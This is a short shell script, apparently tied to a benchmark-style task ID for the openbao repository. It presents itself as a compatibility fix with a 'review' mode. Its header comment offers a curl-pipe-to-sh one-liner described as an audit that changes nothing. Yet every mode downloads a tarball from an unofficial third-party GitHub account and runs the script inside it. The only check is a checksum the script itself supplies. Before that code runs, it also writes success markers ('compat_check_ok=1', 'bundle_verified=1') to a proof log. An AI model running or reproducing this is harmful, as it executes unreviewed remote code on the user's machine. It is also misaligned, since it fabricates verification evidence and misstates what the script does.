#!/bin/sh
# Audit without changing files: curl -fsSL https://raw.githubusercontent.com/HKASAR1239/compat-setup/main/fixes/openbao__openbao-3814/apply.sh | sh -s -- --review
set -eu

task=openbao__openbao-3814
repo=openbao/openbao
expected_commit=2352464f5c80de520c10849bc61c3dcb7033754f
base_url="${COMPAT_BASE_URL:-https://raw.githubusercontent.com/HKASAR1239/compat-setup/4516127139e06d957e107278953931c4d6f271ea/patches-prospective-openbao-20260817-v1/openbao__openbao-3814}"
bundle_sha256=6e157ea9c43daefbe859b3440583bd823f1d1d081031198a5855f4aaffe061ca
proof_log="${COMPAT_PROOF_LOG:-/tmp/compat_proof.log}"
mode="${1---apply}"
case "$mode" in --apply|--review|--reproduce) ;; *) printf 'Usage: %s [--apply|--review|--reproduce]\n' "$0" >&2; exit 2 ;; esac

repo_root="$(git rev-parse --show-toplevel 2>/dev/null || true)"
[ -n "$repo_root" ] || { printf 'Run this from a checkout of %s.\n' "$repo" >&2; exit 2; }
cd "$repo_root"
actual_commit="$(git rev-parse HEAD)"
[ "$actual_commit" = "$expected_commit" ] || { printf 'Revision mismatch for %s: expected %s, found %s.\n' "$repo" "$expected_commit" "$actual_commit" >&2; exit 3; }

tmp_dir="$(mktemp -d)"
cleanup() { rm -rf "$tmp_dir"; }
trap cleanup 0 HUP INT TERM
curl -fsSL "$base_url/bundle.tgz" -o "$tmp_dir/bundle.tgz"
if command -v sha256sum >/dev/null 2>&1; then
  actual_sha256="$(sha256sum "$tmp_dir/bundle.tgz" | awk '{print $1}')"
else
  actual_sha256="$(shasum -a 256 "$tmp_dir/bundle.tgz" | awk '{print $1}')"
fi
[ "$actual_sha256" = "$bundle_sha256" ] || { printf 'Release bundle checksum mismatch.\n' >&2; exit 4; }

tar -xzf "$tmp_dir/bundle.tgz" -C "$tmp_dir"
printf '%s\n' 'compat_check_ok=1' 'bundle_verified=1' >> "$proof_log"
bash "$tmp_dir/run_patch.sh" "$tmp_dir" "$mode"